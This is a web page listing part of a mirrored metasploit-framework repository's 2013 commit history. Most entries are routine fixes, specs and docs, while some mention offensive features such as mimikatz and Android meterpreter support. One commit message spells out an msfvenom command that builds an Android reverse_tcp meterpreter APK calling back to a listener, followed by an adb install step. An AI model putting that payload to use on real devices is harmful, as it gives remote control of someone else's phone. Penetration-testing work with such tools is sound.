infosecn1nja
/
metasploit-framework
mirror of https://github.com/infosecn1nja/metasploit-framework.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity
18,504 Commits
7 Branches
556 Tags
421 MiB
Commit Graph

6226 Commits (72a9c8612bdf6d9f5fddd23b69d8d8fdf58b6c36)

Author SHA1 Message Date
Luke Imhoff 82867fbb66 Prevent duplicate migrations_paths 
[#50099107]

If Msf::DBManager#initialize_metasploit_data_models is run multiple
times, such as during specs, ActiveRecord::Migrator.migrations_paths was
getting populated with multiple copies of the metasploit_data_models
db/migrate path, which would lead to 'DB.migrate threw an exception:
Multiple migrations have the version number 0' errors in framework.log.
 2013-05-17 14:56:17 -05:00
Alexandre Maloteaux 2a9dbb2654 msfvenom and exe-small fmt bug fix 2013-05-16 21:13:45 +01:00
bannedit 031bb2eb0b Fix a backwards disasm bug which stomps on the depth option 2013-05-15 22:08:50 -04:00
James Lee 61afe1449e Landing #1275, bash cmdstager 
Conflicts:
	lib/rex/exploitation/cmdstager.rb

Conflict was just the $Id$ tag, which is no longer used anyway.
 2013-05-15 10:44:05 -05:00
Tod Beardsley 6457a968c9 Land #1829, uninvert note searching. 2013-05-15 07:14:19 -05:00
John Sherwood 063ef487e2 Fix typo in cmd_notes 2013-05-14 18:58:31 -04:00
sinn3r 2ee11f70f8 Landing #1824 - Support Python when generating payloads via msfpayload 
We love Python users too.
 2013-05-14 14:14:31 -05:00
Tasos Laskos 0a55c7e4b6 Proofs can be omitted if they contain sensitive data 2013-05-14 20:46:17 +03:00
Joshua J. Drake 96104c5860 Fix hard vs soft tabs 2013-05-13 20:44:51 -05:00
Joshua J. Drake c71b57764e Add a Python buffer formatter and update msfpayload to enable using it 2013-05-13 20:41:15 -05:00
Tasos Laskos a12e59ef1f Merge branch 'master' into bug/web-match_and_log_fingerprint 2013-05-14 01:55:37 +03:00
Tasos Laskos f4bc3096b2 #match_and_log_fingerprint: store match not fingerprint 2013-05-10 19:59:12 +03:00
Luke Imhoff afa04ac9d0 Merge branch 'master' into feature/mdm-module-namespace 2013-05-09 16:13:06 -05:00
Luke Imhoff bc92b43408 Update to metasploit_data_models 0.11.0 
[#47979793]
 2013-05-09 13:25:26 -05:00
sinn3r f9f769cec8 Landing #1805 - Fix unintelligible error when importing empty file 2013-05-08 20:10:45 -05:00
Luke Imhoff a5648a8830 Merge branch 'master' into feature/mdm-module-namespace 
Conflicts:
	Gemfile
	Gemfile.lock
	lib/msf/core/db_manager.rb
 2013-05-08 13:22:41 -05:00
James Lee 9ab68ac935 Fix unintelligible error when importing empty file 
IO#read returns nil for an empty file if given a length argument, which
caused a stack trace when attempting to import a file instead of a
useful error message.
 2013-05-07 18:05:45 -05:00
sinn3r fe57b9d6e2 Landing #1784 - Handles nils in params 
Nils are handled by converting values into strings
 2013-05-02 18:43:10 -05:00
James Lee 9e7885857c Land #1776, assembly payload blob cache fix 2013-05-02 16:58:14 -05:00
James Lee 0d9b120bac Get rid of the suffix 
This makes blob cache a little cleaner

[FixRM #7898]
 2013-05-02 16:55:14 -05:00
jvazquez-r7 5cfc306466 Land @1785, @wchen-r7's API addition for the mstime ie8 technique 2013-05-02 00:00:49 -05:00
sinn3r 69f8103ffe Make animatecolor element optional by using innerHTML 2013-05-01 14:21:52 -05:00
sinn3r 3d2cb9ec3f Uses rand_text_hex for RGB values, and correcting exception handling 2013-05-01 13:41:36 -05:00
sinn3r 71afd762a9 According to MSFG, I can use RGB, so here goes 2013-04-30 18:48:21 -05:00
sinn3r ae94fbdf6c Updates documentation 2013-04-30 17:11:19 -05:00
sinn3r 9cc624456a Adds function js_mstime_malloc 
This function takes advantage of MSTIME's CTIMEAnimationBase::put_values
function that's suitable for a no-spray technique (based on wtfuzz's
PoC for MS13-008)
 2013-04-30 16:40:10 -05:00
xard4s 930c9dc835 undo free bsd error handling 2013-04-30 16:32:37 -04:00
Tasos Laskos 6bf19c6fb8 HTTP::ClientRequest: Should handle nils in params 
When hashes for params contain nils, they should be converted to empty
strings instead of crashing.

* #to_s: Calls #to_s on vars_get and vars_post data
* #set_encode_uri: Calls #to_s on its arg
 2013-04-30 22:01:00 +03:00
kernelsmith cf7702f7e9 "acitve" should be "aggressive" 
fixes http://dev.metasploit.com/redmine/issues/7926 which prevented a
proper search using:
msf> search exploit:type app:server
 2013-04-30 13:04:19 -05:00
Meatballs 293c847a32 Fix table.print 2013-04-29 22:02:41 -05:00
James Lee d53d6370b3 Land #1747, mimikatz meterpreter extension 
[Closes #1747]

See rapid7/meterpreter#9
 2013-04-29 14:45:07 -05:00
James Lee 906863676e Fix a logic error in HttpServer 
When a module is configured to listen on the INADDR_ANY interface, with
a payload that does not have an LHOST option, it attempts to determine
the srvhost from a client socket which would only be available when the
module has included the TcpClient mixin (i.e., it is both passive and
aggressive stance), causing a NameError for the undefined +sock+.

This commit fixes the problem in two ways:

1. It changes the default cli in get_uri to be the module's self.cli,
   which should always be set when passive modules would need it (e.g., in
   the on_request_uri method).

2. It adds a check to make sure that the calling module has a sock
   before trying to get its peerhost. This was @marthieubean's suggested
   solution in #1775.

[Closes #1775]
 2013-04-29 13:44:58 -05:00
Raphael Mudge 21f8e19d55 Single Payloads Cache Assembled Payload Improperly 
An earlier change to the framework (prepend_migrate) forced single
payloads to use the internal_generate method of payload.rb.

internal_generate calls build which has a cache to track assembled
payloads. This method assumes that a payload only needs to be
assembled once, with optional values patched in later.

Single payloads do not work this way. Each time they are generated
new assembly source is created with the options hardcoded in.

This fix updates build to use the hashcode of the assembly code as
part of the cache key.

This fixes #7898 -- a bug that prevents a user from generating
multiple variations of a single payload without a restart.
 2013-04-29 11:54:53 -04:00
sinn3r 1d9a695d2b Landing #1772 - Adds phpMyadmin Preg_Replace module (CVE-2013-3238) 
[Closes #1772]
 2013-04-28 12:17:16 -05:00
Meatballs bbd53a2dbd Add domain to get_cookies 2013-04-26 20:34:21 +01:00
Meatballs b25b9e769c Msftidy 2013-04-26 20:30:04 +01:00
Meatballs 1f2cab7aef Tidyup and getcookies 2013-04-26 20:26:04 +01:00
Luke Imhoff 249a09cd52 Update to metasploit_data_models 0.7.1 
[#47979793]
 2013-04-26 13:14:38 -05:00
Meatballs 9ad19ed2bf Final tidyup 2013-04-26 15:41:28 +01:00
Meatballs c7ac647e4e Initial attempt lfi 2013-04-26 14:32:18 +01:00
sinn3r b1e49e7116 Merge branch 'master' of github.com:rapid7/metasploit-framework into upstream-master 2013-04-25 20:54:28 -05:00
sinn3r 5b0ae1476b Let's word this a little differently 2013-04-25 20:52:51 -05:00
Meatballs b58a775af5 Added opt delay to file_dropper 2013-04-25 20:52:51 -05:00
sinn3r 008266a581 Corrects documentation. Thanks Meatballs1 2013-04-25 19:13:16 -05:00
sinn3r ff87e3622b Changes made according to feedback from Juan and James 2013-04-25 15:19:44 -05:00
Luke Imhoff 9207ed6532 Msf::Ui::Console::CommandDispatcher::Core#search_modules_sql spec 
[#47979793]
 2013-04-25 14:33:13 -05:00
James Lee 6767eee08a Add in-line signing 
Signing the generated APK in the module means users don't have to have
keytool or jarsigner to create a working package.

Example usage:
  ./msfvenom -p android/meterpreter/reverse_tcp \
    LHOST=192.168.99.1 LPORT=2222 -f raw > meterp.apk
  adb install ./meterp.apk
 2013-04-25 13:57:54 -05:00
Luke Imhoff 24b97137ea Msf::DBManager Mdm::Module* specs 
[#47979793]
 2013-04-25 09:46:53 -05:00
sinn3r 6642545551 Adds new JavaScript function "js_download" 
"js_download" is a JavaScript function used to download data (text
or binary) from the web server.
 2013-04-24 17:36:45 -05:00
James Lee 93bddd9041 Improved docs and partial specs for Rex::Text 
Conflicts:
	lib/msf/core/modules/loader/base.rb
	lib/rex/poly/block.rb
	lib/rex/text.rb
 2013-04-23 17:24:03 -05:00
xard4s cc52619a14 Fix trailing whitespace in zip files 2013-04-23 13:53:38 -04:00
Meatballs fab1781812 Refactored to send custom commands 2013-04-22 10:04:38 +01:00
Meatballs 6656514616 Msftidy 2013-04-21 14:34:47 +01:00
Meatballs fc621e8d7e Parse ssp correctly 2013-04-21 10:55:01 +01:00
Meatballs 83fbc3e46f Small fix and attribution to gentilkiwi 2013-04-21 00:36:43 +01:00
Luke Imhoff 492b081280 Msf::DBManager::Export#extract_module_detail_info spec 
[#47979793]
 2013-04-20 16:44:42 -05:00
Meatballs cec737d399 tidy and table header 2013-04-20 18:05:47 +01:00
Meatballs b219a23f00 Refactoring 2013-04-20 18:00:46 +01:00
Meatballs 20849714ac Add all methods 2013-04-20 17:27:32 +01:00
Meatballs ddaa09edad Added msv 2013-04-20 16:31:45 +01:00
Meatballs 83578dec68 Getprivs by default 2013-04-20 14:59:07 +01:00
Meatballs a23d7bb66f Add client UI and parse results 2013-04-20 12:20:38 +01:00
Meatballs 5fa81942db Initial comms 2013-04-19 22:19:50 +01:00
Luke Imhoff e5befb7094 Msf::DBManager#report_session specs 
[#47979793]
 2013-04-19 10:11:33 -05:00
Josh c23cf47d74 Fix RM7896, global show opts has non-eval #{text} 
thx to mudge for reporting & jduck for properly blaming me.
This change also causes the actual DefaultPromptChar to be displayed vs a hard coded ">"
 2013-04-15 22:07:28 -05:00
Tod Beardsley 25fcbd4e70 Landing #1733, setting a sensible heapsray offset 
@wchen-r7 says that nobody's using it today, much less relying on the
default, so this should make no functional difference to any browser
exploits.
 2013-04-15 16:32:48 -05:00
Tod Beardsley 4d21c7dff5 Landing #1727, adding @jlee-r7's new fingerprints 2013-04-15 13:49:59 -05:00
Tod Beardsley 7f8040c4e4 Lands #1722, Rex::Socket comment docs 2013-04-15 13:44:00 -05:00
Luke Imhoff 2c681005c0 Msf::ModuleManager::Cache spec coverage 
[#47979793]
 2013-04-15 13:08:12 -05:00
timwr df9c5f4a80 remove unused resources and fix whitespace 2013-04-13 16:22:52 +01:00
scriptjunkie 2c41ca6598 Merge branch 'encoding_fix' of git://github.com/rsmudge/metasploit-framework 2013-04-12 21:10:44 -05:00
sinn3r d28db8a2a3 Forgot the comment 2013-04-12 20:21:10 -05:00
sinn3r f2cbbf43e8 Changes default offset 
Points to the beginning of the block
 2013-04-12 20:19:47 -05:00
timwr 32bd812bdb android meterpreter 2013-04-12 18:57:04 +01:00
James Lee 2c8ec656ca Typo 2013-04-11 22:36:08 -05:00
James Lee 7df80c7aac Add a couple new IE fingerprints to osdetect.js 2013-04-11 22:29:02 -05:00
James Lee 6a0b240d10 Add some better docs for Rex::Socket 2013-04-10 12:41:41 -05:00
Rob Fuller 2949c4a339 enable stage encoding for reverse_http(s) 2013-04-10 12:10:17 -03:00
Tod Beardsley 6a5d318749 Bumping version. 2013-04-10 08:59:56 -05:00
sinn3r 277bc69140 Merge branch 'bug/rm7288-post-rename' of github.com:jlee-r7/metasploit-framework into jlee-r7-bug/rm7288-post-rename 2013-04-08 10:18:09 -05:00
Tod Beardsley bbce53816c Merges #1706, removing gemcache per brandont 
This has been put off for a long while.
 2013-04-05 10:12:04 -05:00
James Lee cd86a69090 Have Post::File use shiny new session.fs.file.mv 
Also adds a quick and dirty test. Verified working on Linux shell, Linux
meterpreter, and Windows x86 and x64 meterpreter.
 2013-04-05 01:24:24 -05:00
James Lee 067140643e Landing #1579, meterpreter mv 
See rapid7/meterpreter/#6
 2013-04-04 23:42:31 -05:00
James Lee ad46b46684 Landing #1463, Meatballs' cdecl fixes 2013-04-04 22:58:59 -05:00
Brandon Turner 6251dd571e Always use bundler to load gems 2013-04-04 16:41:40 -05:00
Brandon Turner 06537e0ab1 Remove the gemcache loader and tools 2013-04-03 16:24:56 -05:00
Brandon Turner 8ceede6460 Remove the gemcache 2013-04-03 16:24:55 -05:00
Luke Imhoff 809969b49f Merge branch 'master' into feature/patchable-web-vuln-import 2013-04-02 22:38:54 -05:00
Luke Imhoff 47842aa6a2 Fix 'Output is not a module' 
[#46491831]

I missed that Rex::Ui::Text::Output was a class and not a module, so
starting up prosvc fell over when it loaded
rex/ui/text/output/buffer/stdout, which also would screw up
msf/ui/console/command_dispatcher/core.rb where I original added
Rex::Ui::Text::Output::Buffer::Stdout.
 2013-04-01 20:16:28 -05:00
Tasos Laskos f1bc4a76c5 Anemone::Page#links: removed upwards dir traversal 
[Finishes #47241427]
 2013-04-02 00:49:40 +03:00
Luke Imhoff 0bb79ba890 Msf::DBManager#import_msf_xml refactor 
[#46491831]

Move Msf::DBManager#import_msf_xml into
Msf::DBManager::ImportMsfXml#import_msf_xml and include
Msf::DBManager::ImportMsfXml to cut down size of the infamous db.rb.
Break up #import_msf_xml to have separate methods for parsing web_forms,
web_pages, and web_vulns.  The method for
web_vulns, #import_msf_web_vuln_element is needed so that it can be overridden in
Pro to handle the Pro-only changes to Mdm::WebVuln.
 2013-04-01 16:06:40 -05:00
Luke Imhoff 2317e9cced Fix yard tag warnings 
[#46491831]
 2013-03-30 17:13:12 -05:00
Luke Imhoff 7ed2812ec3 Fix Cannot resolve link YARD warnings 
[#46491831]
 2013-03-30 16:58:49 -05:00
Luke Imhoff bc4b87ebd9 Fix Undocumentable method defined on object instance YARD warnings 
[#46491831]

Change code to use format that YARD can document without changing
semantics.
 2013-03-30 16:05:12 -05:00
Luke Imhoff c210260845 Fix Undocumentable method, missing name YARD warning 
[#46491831]

Comments at the start of the file with ## caused YARD to think the
comment was documenting the require call.  By removing the ##, the
warning disappeared.  I did not determine what is special about ## in
file comments.
 2013-03-30 15:32:38 -05:00
Tasos Laskos e9b183cda2 Anemone::Page#links: restored upwards dir traversal 
[FIXRM #7853]
 2013-03-29 23:07:46 +02:00
sinn3r 463725efec Merge branch 'bug/winrm_poke' of github.com:dmaloney-r7/metasploit-framework into dmaloney-r7-bug/winrm_poke 2013-03-29 09:30:21 -05:00
scriptjunkie 79a72a18a9 Merge branch 'exe_only_patch' of git://github.com/agix/metasploit-framework 2013-03-27 18:30:07 -05:00
sinn3r 7bf87f3546 Merge branch 'mipsbe_elf' of github.com:jvazquez-r7/metasploit-framework into jvazquez-r7-mipsbe_elf 2013-03-27 11:55:09 -05:00
Tasos Laskos 380f5f56ae Auxiliary::Web::HTTP#_request: print_error => elog 
[SEERM #7839]

Reverted earlier commit.
 2013-03-27 16:36:50 +02:00